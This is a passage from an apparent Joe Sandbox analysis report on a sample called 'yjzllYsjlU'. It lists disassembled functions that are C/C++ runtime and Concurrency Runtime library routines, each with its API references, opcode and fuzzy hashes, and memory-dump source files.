Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: fcab85f9393f134aee3c44e13c74da03da599cc2591004f6d3fd10a88ce3c310
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: 52517F3994420A9FDF12CF6CC4A4AEEFBF5EF05214F15849EE861A7352D732A944CB90

Function 00402EC0 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00402F5F
GetCurrentThreadId.KERNEL32 ref: 00402F7E
__Mtx_unlock.LIBCPMT ref: 00402FCC
__Cnd_broadcast.LIBCPMT ref: 00402FE3

Part of subcall function 0041C6AC: mtx_do_lock.LIBCPMT ref: 0041C6B4

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThreadmtx_do_lock
String ID:
API String ID: 3471820992-0
Opcode ID: f0f8b121aba1122f24a75a8c83bd5bf134d72cfcefe3452c2b67ebb99ce96ba3
Instruction ID: 48187f3e1bc168490bb81d7fc303c9f02b2004bad0fbdb5a3eb1e4516cac7e92
Opcode Fuzzy Hash: f0f8b121aba1122f24a75a8c83bd5bf134d72cfcefe3452c2b67ebb99ce96ba3
Instruction Fuzzy Hash: 2141CFB0A016159BDB20DF65C98579BB7E8FF14364F00453EE816E7380EB79EA04CB85

Function 00445FCE Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0044609E
_free.LIBCMT ref: 004460C7
SetEndOfFile.KERNEL32(00000000,00441A0A,00000000,0043AC92,?,?,?,?,?,?,?,00441A0A,0043AC92,00000000), ref: 004460F9
GetLastError.KERNEL32(?,?,?,?,?,?,?,00441A0A,0043AC92,00000000,?,?,?,?,00000000), ref: 00446115

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 6fb0f9e19d4acd712ab8c7b746a97e06f48a18ddc77e8d7a73dfb4aa9b2b61d0
Instruction ID: f61cd90cd7361cc84673696b1269d2078ce9a605f9326b768ff18fa508e212cc
Opcode Fuzzy Hash: 6fb0f9e19d4acd712ab8c7b746a97e06f48a18ddc77e8d7a73dfb4aa9b2b61d0
Instruction Fuzzy Hash: 6041F872900601ABFB25ABA9CD02B9E37B5EF4A364F15011BF914E7292D63CD841472A

Function 021C6235 Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 021C6305
_free.LIBCMT ref: 021C632E
SetEndOfFile.KERNEL32(00000000,021C1C71,00000000,021BAEF9,?,?,?,?,?,?,?,021C1C71,021BAEF9,00000000), ref: 021C6360
GetLastError.KERNEL32(?,?,?,?,?,?,?,021C1C71,021BAEF9,00000000,?,?,?,?,00000000), ref: 021C637C

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 6fb0f9e19d4acd712ab8c7b746a97e06f48a18ddc77e8d7a73dfb4aa9b2b61d0
Instruction ID: a20ba554a243e471dee15bba1b891c95933ac050b02a87dbeff577f1663e8599
Opcode Fuzzy Hash: 6fb0f9e19d4acd712ab8c7b746a97e06f48a18ddc77e8d7a73dfb4aa9b2b61d0
Instruction Fuzzy Hash: 0B41C83A9806859FDB126BB8CC40BDE77BEAFE5360F341529E838A7194E734C445CB61

Function 02183127 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 021831C6
GetCurrentThreadId.KERNEL32 ref: 021831E5
__Mtx_unlock.LIBCPMT ref: 02183233
__Cnd_broadcast.LIBCPMT ref: 0218324A

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: d95c55a17dc6c0951bf91651ac23ff9b82cafa9506b18cb5ad1f8234279d2599
Instruction ID: f1422a21f4711f17ded1b57bc1739d7754d149692723227e4c16a49b22b3447a
Opcode Fuzzy Hash: d95c55a17dc6c0951bf91651ac23ff9b82cafa9506b18cb5ad1f8234279d2599
Instruction Fuzzy Hash: 7841CFB0A806159FDF20EF64C984B6AB7E9BF09764F04456ED829D7680EB34E604CFC1

Function 021B1D90 Relevance: 6.1, APIs: 4, Instructions: 104threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 021B1DA9

Part of subcall function 021B2078: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,021B1AF1), ref: 021B2088

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 021B1DBE
std::invalid_argument::invalid_argument.LIBCONCRT ref: 021B1DCD
std::invalid_argument::invalid_argument.LIBCONCRT ref: 021B1E91

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::std::invalid_argument::invalid_argument$ExecutionFreeIdleObjectProcessorProxy::ResetRoot::SingleSuspendThreadVirtualWait
String ID:
API String ID: 1312548968-0
Opcode ID: 84332b62cc3de3cfa4170185330e29230a9dc1dcd046b531a1b7116e20220df0
Instruction ID: dae2bda900e14038edea278e8f2fcf10ab0972ad98fedcdb77e42a53b2b3f937
Opcode Fuzzy Hash: 84332b62cc3de3cfa4170185330e29230a9dc1dcd046b531a1b7116e20220df0
Instruction Fuzzy Hash: 8531C539A40214BFCF17EF68C894AED73B6BF44310F214569ED1997281DB71EA05CB94

Function 00422CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00422D0F

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 22ca41de25d3fddfd321250d59b84d7d3dba6f78c4a0763dc9e7bbb86f5d08b7
Instruction ID: d418521b68a385beeb000fecb389156560c70f9a2eedc7cbe4bb4063ba4b2acd
Opcode Fuzzy Hash: 22ca41de25d3fddfd321250d59b84d7d3dba6f78c4a0763dc9e7bbb86f5d08b7
Instruction Fuzzy Hash: 56318835A00319EFCF10DF94DA80BAE7BB9BF44304F5000AAD901AB346D7B4A905CBA5

Function 021A2F63 Relevance: 6.1, APIs: 4, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 021A2F76

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 22ca41de25d3fddfd321250d59b84d7d3dba6f78c4a0763dc9e7bbb86f5d08b7
Instruction ID: 82df7c140f3ad226880f7fc08ce2cde409d3b3d2a19db3276a64e4ba2b40e53c
Opcode Fuzzy Hash: 22ca41de25d3fddfd321250d59b84d7d3dba6f78c4a0763dc9e7bbb86f5d08b7
Instruction Fuzzy Hash: 1A317A79E40309EFCF10DF54C5E1BAEBBB9AF44300F1400AADD65AB246D731AA44CBA0

Function 0043D94F Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 004369CC: _free.LIBCMT ref: 004369DA

Part of subcall function 0043E926: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,00444DC0,?,00000000,00000000), ref: 0043E9C8

GetLastError.KERNEL32 ref: 0043D9B7
__dosmaperr.LIBCMT ref: 0043D9BE
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0043D9FD
__dosmaperr.LIBCMT ref: 0043DA04

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: e64aadb6d22fe51e849137b99b89815b7d15ae6c09361cf92410591095803afc
Instruction ID: ee20851a037b4c6b58bdbb56dc4c6e04abe5cdf536cd6285cafdd1b842c948ea
Opcode Fuzzy Hash: e64aadb6d22fe51e849137b99b89815b7d15ae6c09361cf92410591095803afc
Instruction Fuzzy Hash: DB21FBF1A04605BFDB206F66AC80E2777ACEF0C368F10511AF86997251D738EC418799

Function 021BDBB6 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 021B6C33: _free.LIBCMT ref: 021B6C41

Part of subcall function 021BEB8D: WideCharToMultiByte.KERNEL32(02188A07,00000000,0045FB20,00000000,02188A07,02188A07,021C08B7,?,0045FB20,?,00000000,?,021C0626,0000FDE9,00000000,?), ref: 021BEC2F

GetLastError.KERNEL32 ref: 021BDC1E
__dosmaperr.LIBCMT ref: 021BDC25
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 021BDC64
__dosmaperr.LIBCMT ref: 021BDC6B

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: e192af22dab1e85764783ba134b35ca1a0735bfe77ce3258f04da4e50815c0b3
Instruction ID: e44c73d9fe6658bff31ed586359a354cd380e1a9a23b381df81e0ba5923fe33d
Opcode Fuzzy Hash: e192af22dab1e85764783ba134b35ca1a0735bfe77ce3258f04da4e50815c0b3
Instruction Fuzzy Hash: A021A471680209AFDB2A5F61AC80EFAB7BEEF45376710452CE82997180D771EC409FA0

Function 021B1A91 Relevance: 6.1, APIs: 4, Instructions: 85threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 021B1AEC
std::invalid_argument::invalid_argument.LIBCONCRT ref: 021B1B0B
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 021B1B52

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ExecutionFreeIdleProcessorProxy::Root::SpinSuspendThreadUntilVirtualstd::invalid_argument::invalid_argument
String ID:
API String ID: 1284976207-0
Opcode ID: e9b064e3ffac3daba16c5b096d74077ea667223e78b02618e4975b94426a83e1
Instruction ID: 721a3d375f241fac5dfd1a063cacd19af7c4c7530ef2d666eb2633953cb104a0
Opcode Fuzzy Hash: e9b064e3ffac3daba16c5b096d74077ea667223e78b02618e4975b94426a83e1
Instruction Fuzzy Hash: B4214935740615BFCF16AB28C4B4BFD73B5BF84324B02052AE419872D1DB64E841CBD4

Function 00430A98 Relevance: 6.1, APIs: 4, Instructions: 80threadCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,00000000,?), ref: 00430AE9
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00430AD1

Part of subcall function 00428F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00428F50

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00430B4C
SwitchToThread.KERNEL32(00000005,00000004,00000000,?,?,?,?,?,?,?,0045F4C0), ref: 00430B51

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Context$Event$Base::Concurrency::details::$Trace$SwitchThreadThrow
String ID:
API String ID: 2734100425-0
Opcode ID: 2e8a3a5ddc2bebb452bc5efae35c7b376e30f6768224933571346adf22c5373c
Instruction ID: eb585ae1b4d53eae47272984182226d4372f2576b54a2ee7974d2067b554b9fa
Opcode Fuzzy Hash: 2e8a3a5ddc2bebb452bc5efae35c7b376e30f6768224933571346adf22c5373c
Instruction Fuzzy Hash: 54210475700224AFCB10EB59DC45D7EB7A8EF48324F15015BFA16A3292CB74AD018AA9

Function 021B0CFF Relevance: 6.1, APIs: 4, Instructions: 80threadCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,00000000,?), ref: 021B0D50
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 021B0D38

Part of subcall function 021A9196: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 021A91B7

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 021B0DB3
SwitchToThread.KERNEL32(00000005,00000004,00000000,?,?,?,?,?,?,?,0045F4C0), ref: 021B0DB8

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Context$Event$Base::Concurrency::details::$Trace$SwitchThreadThrow
String ID:
API String ID: 2734100425-0
Opcode ID: 2e8a3a5ddc2bebb452bc5efae35c7b376e30f6768224933571346adf22c5373c
Instruction ID: e71bcaca075faf89df64f3d03d2b8ba50942fa488221dd6e1693102ed2c55bb7
Opcode Fuzzy Hash: 2e8a3a5ddc2bebb452bc5efae35c7b376e30f6768224933571346adf22c5373c
Instruction Fuzzy Hash: 39212679640214AFCB14EB58CC44EAEB7BDEF48360F000566FA15E32E0CB71AD01CEA5

Function 00429C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00429C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00429CE8
std::bad_exception::bad_exception.LIBCMT ref: 00429CFE
std::bad_exception::bad_exception.LIBCMT ref: 00429D6A

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: a17e9912f2dd60cabb5880328a5218807bfb4b16fff09030fc9fe1e3d2418584
Instruction ID: e4f0000fdf8db68e5cd6af660122ebbf79e84cae44bb9f1680ea774d3ebdc29a
Opcode Fuzzy Hash: a17e9912f2dd60cabb5880328a5218807bfb4b16fff09030fc9fe1e3d2418584
Instruction Fuzzy Hash: 7F21C471A001249FCB04EF65E4829DEB7B0AF05314FA0406BF401AB2A2DB396D45DB69

Function 021BB3E4 Relevance: 6.1, APIs: 4, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b882474e2421becce6f7ac3255c006c5444dc2a1b8804bcc2ed4a91c923f1653
Instruction ID: a5c1cada26e3dd3cddc795f0cca563069386a05feb6edead2f5aeb483daa4671
Opcode Fuzzy Hash: b882474e2421becce6f7ac3255c006c5444dc2a1b8804bcc2ed4a91c923f1653
Instruction Fuzzy Hash: 9321D171AC9324ABCB338A659D45B9A3778AF107A8F110560FC57A7AA1D720EE00C6E4

Function 021A5109 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::AddVirtualProcessor.LIBCONCRT ref: 021A5168
std::invalid_argument::invalid_argument.LIBCONCRT ref: 021A518B
__EH_prolog3.LIBCMT ref: 021A51A6
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 021A51CD

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: CacheConcurrency::details::GroupLocalSchedule$H_prolog3Node::ProcessorSchedulingSegmentSegment::Virtualstd::invalid_argument::invalid_argument
String ID:
API String ID: 2642201467-0
Opcode ID: 8c7b1ccd00f45581bab929026422e21ff28f01d8dc45cb75e357af66afe4e75e
Instruction ID: 4018e12544e64dde7aac9cd7a600bb083aaf71bced630ac83794b994ecbb8a89
Opcode Fuzzy Hash: 8c7b1ccd00f45581bab929026422e21ff28f01d8dc45cb75e357af66afe4e75e
Instruction Fuzzy Hash: AF21C139A40205FFCB14EFA8C861AAD73B6FF48311F50406AE51A9B690DB71AE01CF95

Function 00431332 Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 004313C6
Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 00431377

Part of subcall function 0042831B: SafeRWList.LIBCONCRT ref: 0042832C

SafeRWList.LIBCONCRT ref: 004313BC
Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 004313DC

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::ContextListSafeStealer$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 336577199-0
Opcode ID: 633f29ab29772fce27dba393e8379a29e8a0d8340c800c4eeedaee01f30ccdc5
Instruction ID: d9e605bbb79d098c531deca9cf4cd80c541eae854b845806876d4496965d449b
Opcode Fuzzy Hash: 633f29ab29772fce27dba393e8379a29e8a0d8340c800c4eeedaee01f30ccdc5
Instruction Fuzzy Hash: 7521F53160020ADFC704CF24C881FA5F7E8FB48718F54E2ABD8054B552DB39E98ACB94

Function 021B1599 Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 021B162D
Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 021B15DE

Part of subcall function 021A8582: SafeRWList.LIBCONCRT ref: 021A8593

SafeRWList.LIBCONCRT ref: 021B1623
Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 021B1643

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::ContextListSafeStealer$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 336577199-0
Opcode ID: 633f29ab29772fce27dba393e8379a29e8a0d8340c800c4eeedaee01f30ccdc5
Instruction ID: fe9deef18e2d511f3a329c5108c7cc4696574f115c3ff96db47e1a1a491bc8bd
Opcode Fuzzy Hash: 633f29ab29772fce27dba393e8379a29e8a0d8340c800c4eeedaee01f30ccdc5
Instruction Fuzzy Hash: 4821C57169020AEFCB05DF24C890FA5FBBABF85718F15D2A6D80A4B541D771E686CBC0

Function 021B621E Relevance: 6.1, APIs: 4, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65fe2d25819fbcf81a19c36cb243a6994e9bb55f4a4ff3c1705520088a00f9a9
Instruction ID: 93dccde430e015b49087399d56e285239dbe27c6e71e912574c4fd2289894e35
Opcode Fuzzy Hash: 65fe2d25819fbcf81a19c36cb243a6994e9bb55f4a4ff3c1705520088a00f9a9
Instruction Fuzzy Hash: B3112635E82760ABEB238F649D84B9A377C9F117A0B1106A1EC15A7290D730ED04C6E0

Function 0041F2ED Relevance: 6.1, APIs: 4, Instructions: 55timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 0041F30F

Part of subcall function 0041F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00425486

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0041F330

Part of subcall function 004201B2: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 004201CE

Concurrency::details::GetSharedTimerQueue.LIBCONCRT ref: 0041F34C
Concurrency::details::platform::__CreateTimerQueueTimer.LIBCMT ref: 0041F353

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Timer$Scheduler$Base::LibraryLoadQueue$AsyncConcurrency::details::platform::__ContextCreateCurrentDefaultReferenceRegisterShared
String ID:
API String ID: 1684785560-0
Opcode ID: 04357caceeb09c65516863605c6f7112208db5e15fbad483dcb42361f4682929
Instruction ID: fbdee06be22d7eb5cf524bde3a8873450c2cdba4fa94e97b4615b2f8ae6f40be
Opcode Fuzzy Hash: 04357caceeb09c65516863605c6f7112208db5e15fbad483dcb42361f4682929
Instruction Fuzzy Hash: 9C012B71500309BBD720AF66CC859DBFBA8EF10358B10453FFC1492152D778E98A87A9

Function 0219F554 Relevance: 6.1, APIs: 4, Instructions: 55timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 0219F576

Part of subcall function 0219F732: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 021A56ED

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0219F597

Part of subcall function 021A0419: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 021A0435

Concurrency::details::GetSharedTimerQueue.LIBCONCRT ref: 0219F5B3
Concurrency::details::platform::__CreateTimerQueueTimer.LIBCMT ref: 0219F5BA

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Timer$Scheduler$Base::LibraryLoadQueue$AsyncConcurrency::details::platform::__ContextCreateCurrentDefaultReferenceRegisterShared
String ID:
API String ID: 1684785560-0
Opcode ID: 04357caceeb09c65516863605c6f7112208db5e15fbad483dcb42361f4682929
Instruction ID: a2f6c3211acc010fe19e22b6900dac4dbb817a410475f6d6c7bdee7dd8e53d73
Opcode Fuzzy Hash: 04357caceeb09c65516863605c6f7112208db5e15fbad483dcb42361f4682929
Instruction Fuzzy Hash: 4601D6B19803057FEB307F69CC809ABBBADEF10354B10452BF865D2591D770D956CBA1

Function 004333C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 004333DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 004333EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00433407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0043341F

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 148698cb8657f3ab7a0d111eac04cd811a00bb0e29ba6abd34784ed5a644fba4
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 74012632700524A7CF16EF658841AAFB7A99F58314F00001BFC12EB382DA74EE1193A5

Function 021B3628 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 021B3642
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 021B3656
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 021B366E
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 021B3686

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: d4a05085c661d61d41e39fd4c81e4e18a7b973d3e9466e75ebf050c871f16b1d
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
